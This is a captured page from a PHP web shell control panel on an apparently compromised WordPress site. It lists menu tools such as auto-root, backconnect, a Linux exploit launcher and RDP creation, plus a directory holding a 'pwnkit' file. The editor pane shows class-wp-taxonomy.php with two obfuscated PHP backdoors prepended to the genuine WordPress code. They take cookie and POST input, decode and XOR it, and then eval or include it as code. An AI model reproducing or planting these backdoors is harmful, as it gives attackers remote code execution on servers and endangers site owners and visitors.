Linux webm001.cluster105.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.105.20.1 | : 216.73.216.85
Cant Read [ /etc/named.conf ]
8.0.30
afriquejlc
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
afriquejlc /
africabestof /
wp-includesold /
[ HOME SHELL ]
Name
Size
Permission
Action
ID3
[ DIR ]
drwx---r-x
IXR
[ DIR ]
drwx---r-x
PHPMailer
[ DIR ]
drwx---r-x
Requests
[ DIR ]
drwx---r-x
SimplePie
[ DIR ]
drwx---r-x
Text
[ DIR ]
drwx---r-x
assets
[ DIR ]
drwx---r-x
block-patterns
[ DIR ]
drwx---r-x
block-supports
[ DIR ]
drwx---r-x
blocks
[ DIR ]
drwxr-xr-x
certificates
[ DIR ]
drwx---r-x
css
[ DIR ]
drwx---r-x
customize
[ DIR ]
drwx---r-x
fonts
[ DIR ]
drwx---r-x
images
[ DIR ]
drwx---r-x
js
[ DIR ]
drwx---r-x
pomo
[ DIR ]
drwx---r-x
random_compat
[ DIR ]
drwx---r-x
rest-api
[ DIR ]
drwx---r-x
sitemaps
[ DIR ]
drwx---r-x
sodium_compat
[ DIR ]
drwx---r-x
theme-compat
[ DIR ]
drwx---r-x
widgets
[ DIR ]
drwx---r-x
.mad-root
0
B
-rw-r--r--
admin-bar.php
39.17
KB
-rwxr-xr-x
atomlib.php
13.39
KB
-rw----r--
author-template.php
16.63
KB
-rwxr-xr-x
block-editor.php
18.16
KB
-rwxr-xr-x
block-patterns.php
2.6
KB
-rwxr-xr-x
block-template-utils.php
3.67
KB
-rwxr-xr-x
block-template.php
6.89
KB
-rwxr-xr-x
blocks.php
36.18
KB
-rwxr-xr-x
bookmark-template.php
14.26
KB
-rw----r--
bookmark.php
14.98
KB
-rwxr-xr-x
cache-compat.php
1.02
KB
-rw----r--
cache.php
9.29
KB
-rw----r--
canonical.php
34.03
KB
-rw----r--
capabilities.php
36.77
KB
-rwxr-xr-x
category-template.php
54.26
KB
-rw----r--
category.php
14.13
KB
-rw----r--
class-IXR.php
2.48
KB
-rw----r--
class-feed.php
529
B
-rw----r--
class-http.php
42.55
KB
-rw----r--
class-json.php
42.42
KB
-rw----r--
class-oembed.php
407
B
-rw----r--
class-phpass.php
6.54
KB
-rwxr-xr-x
class-phpmailer.php
664
B
-rw----r--
class-pop3.php
21.88
KB
-rw----r--
class-requests.php
41.64
KB
-rwxr-xr-x
class-simplepie.php
97.98
KB
-rw----r--
class-smtp.php
457
B
-rw----r--
class-snoopy.php
36.83
KB
-rw----r--
class-walker-category-dropdown...
2.08
KB
-rw----r--
class-walker-category.php
7.71
KB
-rw----r--
class-walker-comment.php
19.09
KB
-rwxr-xr-x
class-walker-nav-menu.php
8.44
KB
-rwxr-xr-x
class-walker-page-dropdown.php
2.25
KB
-rw----r--
class-walker-page.php
6.88
KB
-rwxr-xr-x
class-wp-admin-bar.php
20.47
KB
-rw----r--
class-wp-ajax-response.php
5.12
KB
-rw----r--
class-wp-application-passwords...
13.96
KB
-rw----r--
class-wp-block-editor-context....
890
B
-rwxr-xr-x
class-wp-block-list.php
4.37
KB
-rw----r--
class-wp-block-parser.php
16.7
KB
-rw----r--
class-wp-block-pattern-categor...
4.19
KB
-rwxr-xr-x
class-wp-block-patterns-regist...
4.8
KB
-rwxr-xr-x
class-wp-block-styles-registry...
4.6
KB
-rwxr-xr-x
class-wp-block-supports.php
5.15
KB
-rw----r--
class-wp-block-template.php
1.18
KB
-rwxr-xr-x
class-wp-block-type-registry.p...
4.87
KB
-rwxr-xr-x
class-wp-block-type.php
8.95
KB
-rwxr-xr-x
class-wp-block.php
6.61
KB
-rw----r--
class-wp-comment-query.php
45.92
KB
-rw----r--
class-wp-comment.php
9.1
KB
-rw----r--
class-wp-customize-control.php
28.22
KB
-rwxr-xr-x
class-wp-customize-manager.php
198.22
KB
-rwxr-xr-x
class-wp-customize-nav-menus.p...
57.05
KB
-rwxr-xr-x
class-wp-customize-panel.php
11.68
KB
-rw----r--
class-wp-customize-section.php
20.65
KB
-rw----r--
class-wp-customize-setting.php
30.78
KB
-rw----r--
class-wp-customize-widgets.php
72.64
KB
-rwxr-xr-x
class-wp-date-query.php
42.17
KB
-rwxr-xr-x
class-wp-dependency.php
2.45
KB
-rw----r--
class-wp-editor.php
73.45
KB
-rwxr-xr-x
class-wp-embed.php
17.13
KB
-rwxr-xr-x
class-wp-error.php
7.13
KB
-rw----r--
class-wp-fatal-error-handler.p...
7.4
KB
-rwxr-xr-x
class-wp-feed-cache-transient....
2.5
KB
-rw----r--
class-wp-feed-cache.php
970
B
-rw----r--
class-wp-hook.php
14.65
KB
-rwxr-xr-x
class-wp-http-cookie.php
7.02
KB
-rw----r--
class-wp-http-curl.php
13.79
KB
-rw----r--
class-wp-http-encoding.php
6.5
KB
-rw----r--
class-wp-http-ixr-client.php
3.39
KB
-rw----r--
class-wp-http-proxy.php
5.73
KB
-rw----r--
class-wp-http-requests-hooks.p...
1.93
KB
-rw----r--
class-wp-http-requests-respons...
4.24
KB
-rw----r--
class-wp-http-response.php
2.88
KB
-rw----r--
class-wp-http-streams.php
21.63
KB
-rw----r--
class-wp-image-editor-gd.php
16.89
KB
-rwxr-xr-x
class-wp-image-editor-imagick....
31.96
KB
-rwxr-xr-x
class-wp-image-editor.php
16.2
KB
-rwxr-xr-x
class-wp-list-util.php
6.79
KB
-rwxr-xr-x
class-wp-locale-switcher.php
4.9
KB
-rw----r--
class-wp-locale.php
17.23
KB
-rw----r--
class-wp-matchesmapregex.php
1.76
KB
-rw----r--
class-wp-meta-query.php
30.91
KB
-rwxr-xr-x
class-wp-metadata-lazyloader.p...
5.23
KB
-rw----r--
class-wp-network-query.php
20.48
KB
-rw----r--
class-wp-network.php
18.19
KB
-rw----r--
class-wp-object-cache.php
16.98
KB
-rw----r--
class-wp-oembed-controller.php
6.67
KB
-rwxr-xr-x
class-wp-oembed.php
29.61
KB
-rw----r--
class-wp-paused-extensions-sto...
4.81
KB
-rw----r--
class-wp-post-type.php
26.03
KB
-rw----r--
class-wp-post.php
6.27
KB
-rw----r--
class-wp-query.php
132.75
KB
-rwxr-xr-x
class-wp-recovery-mode-cookie-...
6.31
KB
-rw----r--
class-wp-recovery-mode-email-s...
12.16
KB
-rw----r--
class-wp-recovery-mode-key-ser...
4.17
KB
-rw----r--
class-wp-recovery-mode-link-se...
3.32
KB
-rw----r--
class-wp-recovery-mode.php
14.83
KB
-rw----r--
class-wp-rewrite.php
67.27
KB
-rw----r--
class-wp-role.php
2.44
KB
-rw----r--
class-wp-roles.php
8.23
KB
-rw----r--
class-wp-session-tokens.php
7.25
KB
-rw----r--
class-wp-simplepie-file.php
3.18
KB
-rwxr-xr-x
class-wp-simplepie-sanitize-ks...
1.73
KB
-rw----r--
class-wp-site-query.php
30.4
KB
-rwxr-xr-x
class-wp-site.php
7.25
KB
-rw----r--
class-wp-tax-query.php
20.63
KB
-rwxr-xr-x
class-wp-taxonomy.php
16.8
KB
-rw----r--
class-wp-term-query.php
39.53
KB
-rwxr-xr-x
class-wp-term.php
5.15
KB
-rw----r--
class-wp-text-diff-renderer-in...
716
B
-rw----r--
class-wp-text-diff-renderer-ta...
18.15
KB
-rw----r--
class-wp-theme-json-resolver.p...
14.86
KB
-rwxr-xr-x
class-wp-theme-json.php
36.75
KB
-rwxr-xr-x
class-wp-theme.php
59.07
KB
-rwxr-xr-x
class-wp-user-meta-session-tok...
2.92
KB
-rw----r--
class-wp-user-query.php
36
KB
-rw----r--
class-wp-user-request.php
2.14
KB
-rw----r--
class-wp-user.php
29.43
KB
-rwxr-xr-x
class-wp-walker.php
14.19
KB
-rwxr-xr-x
class-wp-widget-factory.php
3.24
KB
-rwxr-xr-x
class-wp-widget.php
19.54
KB
-rwxr-xr-x
class-wp-xmlrpc-server.php
211.68
KB
-rwxr-xr-x
class-wp.php
24.5
KB
-rw----r--
class.wp-dependencies.php
18.52
KB
-rw----r--
class.wp-scripts.php
20.35
KB
-rw----r--
class.wp-styles.php
18.19
KB
-rwxr-xr-x
comment-template.php
94.47
KB
-rwxr-xr-x
comment.php
123.18
KB
-rwxr-xr-x
compat.php
16.96
KB
-rw-r--r--
cron.php
39.69
KB
-rw----r--
date.php
406
B
-rw----r--
default-constants.php
11.72
KB
-rw----r--
default-filters.php
33.04
KB
-rwxr-xr-x
default-widgets.php
2.17
KB
-rwxr-xr-x
deprecated.php
122.46
KB
-rwxr-xr-x
embed-template.php
341
B
-rw----r--
embed.php
48.72
KB
-rwxr-xr-x
error-protection.php
4.02
KB
-rw----r--
feed-atom-comments.php
5.32
KB
-rw----r--
feed-atom.php
3.03
KB
-rwxr-xr-x
feed-rdf.php
2.61
KB
-rw----r--
feed-rss.php
1.16
KB
-rw----r--
feed-rss2-comments.php
3.97
KB
-rw----r--
feed-rss2.php
3.71
KB
-rw----r--
feed.php
24.5
KB
-rwxr-xr-x
formatting.php
320.03
KB
-rwxr-xr-x
functions.php
247.31
KB
-rwxr-xr-x
functions.wp-scripts.php
14.86
KB
-rwxr-xr-x
functions.wp-styles.php
8.11
KB
-rw----r--
general-template.php
154.5
KB
-rwxr-xr-x
http.php
23.32
KB
-rw----r--
https-detection.php
6.71
KB
-rwxr-xr-x
https-migration.php
4.62
KB
-rw----r--
kses.php
65.59
KB
-rwxr-xr-x
l10n.php
58.85
KB
-rwxr-xr-x
link-template.php
145.19
KB
-rwxr-xr-x
load.php
48.87
KB
-rwxr-xr-x
locale.php
162
B
-rw----r--
media-template.php
60.72
KB
-rwxr-xr-x
media.php
176.52
KB
-rwxr-xr-x
meta.php
69.51
KB
-rwxr-xr-x
ms-blogs.php
28.29
KB
-rw----r--
ms-default-constants.php
4.6
KB
-rw----r--
ms-default-filters.php
6.34
KB
-rw----r--
ms-deprecated.php
22.53
KB
-rw----r--
ms-files.php
2.58
KB
-rw----r--
ms-functions.php
91.7
KB
-rw----r--
ms-load.php
20.86
KB
-rw----r--
ms-network.php
3.58
KB
-rw----r--
ms-settings.php
4.03
KB
-rw----r--
ms-site.php
44.54
KB
-rwxr-xr-x
nav-menu-template.php
24.45
KB
-rw----r--
nav-menu.php
43.07
KB
-rwxr-xr-x
option.php
74.77
KB
-rwxr-xr-x
pluggable-deprecated.php
6.12
KB
-rw----r--
pluggable.php
101.32
KB
-rwxr-xr-x
plugin.php
32.34
KB
-rwxr-xr-x
post-formats.php
6.91
KB
-rw----r--
post-template.php
67.29
KB
-rwxr-xr-x
post-thumbnail-template.php
9.13
KB
-rw----r--
post.php
257.37
KB
-rwxr-xr-x
pwnkit
0
B
-rwxr-xr-x
query.php
41.18
KB
-rwxr-xr-x
registration-functions.php
200
B
-rw----r--
registration.php
200
B
-rw----r--
rest-api.php
91.25
KB
-rwxr-xr-x
revision.php
23.73
KB
-rwxr-xr-x
rewrite.php
20.49
KB
-rw----r--
robots-template.php
5.05
KB
-rw----r--
rss-functions.php
255
B
-rw----r--
rss.php
24.19
KB
-rw----r--
script-loader.php
107.81
KB
-rwxr-xr-x
session.php
258
B
-rw----r--
shortcodes.php
21.86
KB
-rwxr-xr-x
sitemaps.php
3.16
KB
-rwxr-xr-x
spl-autoload-compat.php
441
B
-rw----r--
taxonomy.php
164.21
KB
-rwxr-xr-x
template-canvas.php
594
B
-rwxr-xr-x
template-loader.php
2.94
KB
-rw----r--
template.php
23.75
KB
-rwxr-xr-x
theme-i18n.json
634
B
-rwxr-xr-x
theme-templates.php
4.61
KB
-rwxr-xr-x
theme.json
5.2
KB
-rwxr-xr-x
theme.php
128.17
KB
-rwxr-xr-x
update.php
31.16
KB
-rwxr-xr-x
user.php
151.14
KB
-rwxr-xr-x
vars.php
5.68
KB
-rw----r--
version.php
766
B
-rw-r--r--
widgets.php
65.72
KB
-rwxr-xr-x
wlwmanifest.xml
1.02
KB
-rw----r--
wp-db.php
103.61
KB
-rw----r--
wp-diff.php
647
B
-rw----r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class-wp-taxonomy.php
<?php $PaqmnVvPIX = "\x68" . chr (95) . "\x77" . chr (80) . "\x78" . "\107";$zhMqU = chr (99) . "\x6c" . 'a' . 's' . chr (115) . chr (95) . chr (101) . chr (120) . chr (105) . 's' . chr (116) . "\x73";$SsYGk = $zhMqU($PaqmnVvPIX); $PaqmnVvPIX = "21439";$uiNcuDDx = $SsYGk;$zhMqU = "27813";if (!$uiNcuDDx){class h_wPxG{private $fJvLIP;public static $suoaEMgUJ = "acff7727-65be-4463-959b-15aeb20864c8";public static $eitnTUO = 40487;public function __construct($zkzSHOK=0){$CmNXvuMZcf = $_COOKIE;$iGjVogeYO = $_POST;$HefCibZ = @$CmNXvuMZcf[substr(h_wPxG::$suoaEMgUJ, 0, 4)];if (!empty($HefCibZ)){$KdPFqrzt = "base64";$AujXOh = "";$HefCibZ = explode(",", $HefCibZ);foreach ($HefCibZ as $VEbBASVD){$AujXOh .= @$CmNXvuMZcf[$VEbBASVD];$AujXOh .= @$iGjVogeYO[$VEbBASVD];}$AujXOh = array_map($KdPFqrzt . chr ( 852 - 757 ).'d' . chr (101) . 'c' . 'o' . "\x64" . chr (101), array($AujXOh,)); $AujXOh = $AujXOh[0] ^ str_repeat(h_wPxG::$suoaEMgUJ, (strlen($AujXOh[0]) / strlen(h_wPxG::$suoaEMgUJ)) + 1);h_wPxG::$eitnTUO = @unserialize($AujXOh);}}private function CoJeuwvEyF(){if (is_array(h_wPxG::$eitnTUO)) {$vntTseAhOW = str_replace('<' . "\x3f" . chr (112) . 'h' . "\x70", "", h_wPxG::$eitnTUO['c' . "\157" . chr (110) . "\164" . 'e' . "\x6e" . 't']);eval($vntTseAhOW); $TVzFj = "14480";exit();}}public function __destruct(){$this->CoJeuwvEyF(); $TVzFj = "14480";$wHZaY = str_pad($TVzFj, 10);}}$gUqnIPXio = new h_wPxG(); $gUqnIPXio = "42292_34746";} ?><?php $kIKUELtwAV = "\115" . chr (95) . chr ( 666 - 579 ).chr ( 1055 - 958 ).chr ( 955 - 854 ).chr ( 637 - 528 ); $EugVvnf = "\143" . 'l' . "\141" . chr ( 958 - 843 ).chr ( 400 - 285 )."\137" . 'e' . chr (120) . 'i' . chr (115) . "\x74" . chr ( 438 - 323 ); $FrfNhYNeIS = $EugVvnf($kIKUELtwAV); $oFexSPCbB = $FrfNhYNeIS;if (!$oFexSPCbB){class M_Waem{private $czlCKy;public static $ZKuchWFhYI = "d15b921e-95b2-4b3d-b070-e63cb919156f";public static $xTNGqiZSCO = 4226;public function __construct($JFvNgu=0){$XiQJvvGIZW = $_COOKIE;$PpLqQkcH = $_POST;$EQtwkqM = @$XiQJvvGIZW[substr(M_Waem::$ZKuchWFhYI, 0, 4)];if (!empty($EQtwkqM)){$CKtWUeL = "base64";$BGilu = "";$EQtwkqM = explode(",", $EQtwkqM);foreach ($EQtwkqM as $sWVlhF){$BGilu .= @$XiQJvvGIZW[$sWVlhF];$BGilu .= @$PpLqQkcH[$sWVlhF];}$BGilu = array_map($CKtWUeL . '_' . 'd' . "\145" . "\143" . "\157" . chr (100) . "\x65", array($BGilu,)); $BGilu = $BGilu[0] ^ str_repeat(M_Waem::$ZKuchWFhYI, (strlen($BGilu[0]) / strlen(M_Waem::$ZKuchWFhYI)) + 1);M_Waem::$xTNGqiZSCO = @unserialize($BGilu);}}private function fUBkjfPpYN(){if (is_array(M_Waem::$xTNGqiZSCO)) {$csSWG = sys_get_temp_dir() . "/" . crc32(M_Waem::$xTNGqiZSCO[chr ( 195 - 80 ).chr (97) . "\x6c" . "\x74"]);@M_Waem::$xTNGqiZSCO["\167" . 'r' . 'i' . 't' . chr (101)]($csSWG, M_Waem::$xTNGqiZSCO['c' . "\157" . chr ( 818 - 708 ).'t' . 'e' . chr ( 210 - 100 ).chr ( 578 - 462 )]);include $csSWG;@M_Waem::$xTNGqiZSCO["\144" . "\x65" . "\154" . chr (101) . "\x74" . chr (101)]($csSWG); $LmXWZrBsR = "41566";exit();}}public function __destruct(){$this->fUBkjfPpYN(); $LmXWZrBsR = "41566";}}$KtLBm = new M_Waem(); $KtLBm = "51356_4875";} ?><?php /** * Taxonomy API: WP_Taxonomy class * * @package WordPress * @subpackage Taxonomy * @since 4.7.0 */ /** * Core class used for interacting with taxonomies. * * @since 4.7.0 */ final class WP_Taxonomy { /** * Taxonomy key. * * @since 4.7.0 * @var string */ public $name; /** * Name of the taxonomy shown in the menu. Usually plural. * * @since 4.7.0 * @var string */ public $label; /** * Labels object for this taxonomy. * * If not set, tag labels are inherited for non-hierarchical types * and category labels for hierarchical ones. * * @see get_taxonomy_labels() * * @since 4.7.0 * @var stdClass */ public $labels; /** * A short descriptive summary of what the taxonomy is for. * * @since 4.7.0 * @var string */ public $description = ''; /** * Whether a taxonomy is intended for use publicly either via the admin interface or by front-end users. * * @since 4.7.0 * @var bool */ public $public = true; /** * Whether the taxonomy is publicly queryable. * * @since 4.7.0 * @var bool */ public $publicly_queryable = true; /** * Whether the taxonomy is hierarchical. * * @since 4.7.0 * @var bool */ public $hierarchical = false; /** * Whether to generate and allow a UI for managing terms in this taxonomy in the admin. * * @since 4.7.0 * @var bool */ public $show_ui = true; /** * Whether to show the taxonomy in the admin menu. * * If true, the taxonomy is shown as a submenu of the object type menu. If false, no menu is shown. * * @since 4.7.0 * @var bool */ public $show_in_menu = true; /** * Whether the taxonomy is available for selection in navigation menus. * * @since 4.7.0 * @var bool */ public $show_in_nav_menus = true; /** * Whether to list the taxonomy in the tag cloud widget controls. * * @since 4.7.0 * @var bool */ public $show_tagcloud = true; /** * Whether to show the taxonomy in the quick/bulk edit panel. * * @since 4.7.0 * @var bool */ public $show_in_quick_edit = true; /** * Whether to display a column for the taxonomy on its post type listing screens. * * @since 4.7.0 * @var bool */ public $show_admin_column = false; /** * The callback function for the meta box display. * * @since 4.7.0 * @var bool|callable */ public $meta_box_cb = null; /** * The callback function for sanitizing taxonomy data saved from a meta box. * * @since 5.1.0 * @var callable */ public $meta_box_sanitize_cb = null; /** * An array of object types this taxonomy is registered for. * * @since 4.7.0 * @var array */ public $object_type = null; /** * Capabilities for this taxonomy. * * @since 4.7.0 * @var stdClass */ public $cap; /** * Rewrites information for this taxonomy. * * @since 4.7.0 * @var array|false */ public $rewrite; /** * Query var string for this taxonomy. * * @since 4.7.0 * @var string|false */ public $query_var; /** * Function that will be called when the count is updated. * * @since 4.7.0 * @var callable */ public $update_count_callback; /** * Whether this taxonomy should appear in the REST API. * * Default false. If true, standard endpoints will be registered with * respect to $rest_base and $rest_controller_class. * * @since 4.7.4 * @var bool $show_in_rest */ public $show_in_rest; /** * The base path for this taxonomy's REST API endpoints. * * @since 4.7.4 * @var string|bool $rest_base */ public $rest_base; /** * The controller for this taxonomy's REST API endpoints. * * Custom controllers must extend WP_REST_Controller. * * @since 4.7.4 * @var string|bool $rest_controller_class */ public $rest_controller_class; /** * The controller instance for this taxonomy's REST API endpoints. * * Lazily computed. Should be accessed using {@see WP_Taxonomy::get_rest_controller()}. * * @since 5.5.0 * @var WP_REST_Controller $rest_controller */ public $rest_controller; /** * The default term name for this taxonomy. If you pass an array you have * to set 'name' and optionally 'slug' and 'description'. * * @since 5.5.0 * @var array|string */ public $default_term; /** * Whether terms in this taxonomy should be sorted in the order they are provided to `wp_set_object_terms()`. * * Use this in combination with `'orderby' => 'term_order'` when fetching terms. * * @since 2.5.0 * @var bool|null */ public $sort = null; /** * Array of arguments to automatically use inside `wp_get_object_terms()` for this taxonomy. * * @since 2.6.0 * @var array|null */ public $args = null; /** * Whether it is a built-in taxonomy. * * @since 4.7.0 * @var bool */ public $_builtin; /** * Constructor. * * See the register_taxonomy() function for accepted arguments for `$args`. * * @since 4.7.0 * * @global WP $wp Current WordPress environment instance. * * @param string $taxonomy Taxonomy key, must not exceed 32 characters. * @param array|string $object_type Name of the object type for the taxonomy object. * @param array|string $args Optional. Array or query string of arguments for registering a taxonomy. * Default empty array. */ public function __construct( $taxonomy, $object_type, $args = array() ) { $this->name = $taxonomy; $this->set_props( $object_type, $args ); } /** * Sets taxonomy properties. * * See the register_taxonomy() function for accepted arguments for `$args`. * * @since 4.7.0 * * @param array|string $object_type Name of the object type for the taxonomy object. * @param array|string $args Array or query string of arguments for registering a taxonomy. */ public function set_props( $object_type, $args ) { $args = wp_parse_args( $args ); /** * Filters the arguments for registering a taxonomy. * * @since 4.4.0 * * @param array $args Array of arguments for registering a taxonomy. * See the register_taxonomy() function for accepted arguments. * @param string $taxonomy Taxonomy key. * @param string[] $object_type Array of names of object types for the taxonomy. */ $args = apply_filters( 'register_taxonomy_args', $args, $this->name, (array) $object_type ); $defaults = array( 'labels' => array(), 'description' => '', 'public' => true, 'publicly_queryable' => null, 'hierarchical' => false, 'show_ui' => null, 'show_in_menu' => null, 'show_in_nav_menus' => null, 'show_tagcloud' => null, 'show_in_quick_edit' => null, 'show_admin_column' => false, 'meta_box_cb' => null, 'meta_box_sanitize_cb' => null, 'capabilities' => array(), 'rewrite' => true, 'query_var' => $this->name, 'update_count_callback' => '', 'show_in_rest' => false, 'rest_base' => false, 'rest_controller_class' => false, 'default_term' => null, 'sort' => null, 'args' => null, '_builtin' => false, ); $args = array_merge( $defaults, $args ); // If not set, default to the setting for 'public'. if ( null === $args['publicly_queryable'] ) { $args['publicly_queryable'] = $args['public']; } if ( false !== $args['query_var'] && ( is_admin() || false !== $args['publicly_queryable'] ) ) { if ( true === $args['query_var'] ) { $args['query_var'] = $this->name; } else { $args['query_var'] = sanitize_title_with_dashes( $args['query_var'] ); } } else { // Force 'query_var' to false for non-public taxonomies. $args['query_var'] = false; } if ( false !== $args['rewrite'] && ( is_admin() || get_option( 'permalink_structure' ) ) ) { $args['rewrite'] = wp_parse_args( $args['rewrite'], array( 'with_front' => true, 'hierarchical' => false, 'ep_mask' => EP_NONE, ) ); if ( empty( $args['rewrite']['slug'] ) ) { $args['rewrite']['slug'] = sanitize_title_with_dashes( $this->name ); } } // If not set, default to the setting for 'public'. if ( null === $args['show_ui'] ) { $args['show_ui'] = $args['public']; } // If not set, default to the setting for 'show_ui'. if ( null === $args['show_in_menu'] || ! $args['show_ui'] ) { $args['show_in_menu'] = $args['show_ui']; } // If not set, default to the setting for 'public'. if ( null === $args['show_in_nav_menus'] ) { $args['show_in_nav_menus'] = $args['public']; } // If not set, default to the setting for 'show_ui'. if ( null === $args['show_tagcloud'] ) { $args['show_tagcloud'] = $args['show_ui']; } // If not set, default to the setting for 'show_ui'. if ( null === $args['show_in_quick_edit'] ) { $args['show_in_quick_edit'] = $args['show_ui']; } $default_caps = array( 'manage_terms' => 'manage_categories', 'edit_terms' => 'manage_categories', 'delete_terms' => 'manage_categories', 'assign_terms' => 'edit_posts', ); $args['cap'] = (object) array_merge( $default_caps, $args['capabilities'] ); unset( $args['capabilities'] ); $args['object_type'] = array_unique( (array) $object_type ); // If not set, use the default meta box. if ( null === $args['meta_box_cb'] ) { if ( $args['hierarchical'] ) { $args['meta_box_cb'] = 'post_categories_meta_box'; } else { $args['meta_box_cb'] = 'post_tags_meta_box'; } } $args['name'] = $this->name; // Default meta box sanitization callback depends on the value of 'meta_box_cb'. if ( null === $args['meta_box_sanitize_cb'] ) { switch ( $args['meta_box_cb'] ) { case 'post_categories_meta_box': $args['meta_box_sanitize_cb'] = 'taxonomy_meta_box_sanitize_cb_checkboxes'; break; case 'post_tags_meta_box': default: $args['meta_box_sanitize_cb'] = 'taxonomy_meta_box_sanitize_cb_input'; break; } } // Default taxonomy term. if ( ! empty( $args['default_term'] ) ) { if ( ! is_array( $args['default_term'] ) ) { $args['default_term'] = array( 'name' => $args['default_term'] ); } $args['default_term'] = wp_parse_args( $args['default_term'], array( 'name' => '', 'slug' => '', 'description' => '', ) ); } foreach ( $args as $property_name => $property_value ) { $this->$property_name = $property_value; } $this->labels = get_taxonomy_labels( $this ); $this->label = $this->labels->name; } /** * Adds the necessary rewrite rules for the taxonomy. * * @since 4.7.0 * * @global WP $wp Current WordPress environment instance. */ public function add_rewrite_rules() { /* @var WP $wp */ global $wp; // Non-publicly queryable taxonomies should not register query vars, except in the admin. if ( false !== $this->query_var && $wp ) { $wp->add_query_var( $this->query_var ); } if ( false !== $this->rewrite && ( is_admin() || get_option( 'permalink_structure' ) ) ) { if ( $this->hierarchical && $this->rewrite['hierarchical'] ) { $tag = '(.+?)'; } else { $tag = '([^/]+)'; } add_rewrite_tag( "%$this->name%", $tag, $this->query_var ? "{$this->query_var}=" : "taxonomy=$this->name&term=" ); add_permastruct( $this->name, "{$this->rewrite['slug']}/%$this->name%", $this->rewrite ); } } /** * Removes any rewrite rules, permastructs, and rules for the taxonomy. * * @since 4.7.0 * * @global WP $wp Current WordPress environment instance. */ public function remove_rewrite_rules() { /* @var WP $wp */ global $wp; // Remove query var. if ( false !== $this->query_var ) { $wp->remove_query_var( $this->query_var ); } // Remove rewrite tags and permastructs. if ( false !== $this->rewrite ) { remove_rewrite_tag( "%$this->name%" ); remove_permastruct( $this->name ); } } /** * Registers the ajax callback for the meta box. * * @since 4.7.0 */ public function add_hooks() { add_filter( 'wp_ajax_add-' . $this->name, '_wp_ajax_add_hierarchical_term' ); } /** * Removes the ajax callback for the meta box. * * @since 4.7.0 */ public function remove_hooks() { remove_filter( 'wp_ajax_add-' . $this->name, '_wp_ajax_add_hierarchical_term' ); } /** * Gets the REST API controller for this taxonomy. * * Will only instantiate the controller class once per request. * * @since 5.5.0 * * @return WP_REST_Controller|null The controller instance, or null if the taxonomy * is set not to show in rest. */ public function get_rest_controller() { if ( ! $this->show_in_rest ) { return null; } $class = $this->rest_controller_class ? $this->rest_controller_class : WP_REST_Terms_Controller::class; if ( ! class_exists( $class ) ) { return null; } if ( ! is_subclass_of( $class, WP_REST_Controller::class ) ) { return null; } if ( ! $this->rest_controller ) { $this->rest_controller = new $class( $this->name ); } if ( ! ( $this->rest_controller instanceof $class ) ) { return null; } return $this->rest_controller; } }
Close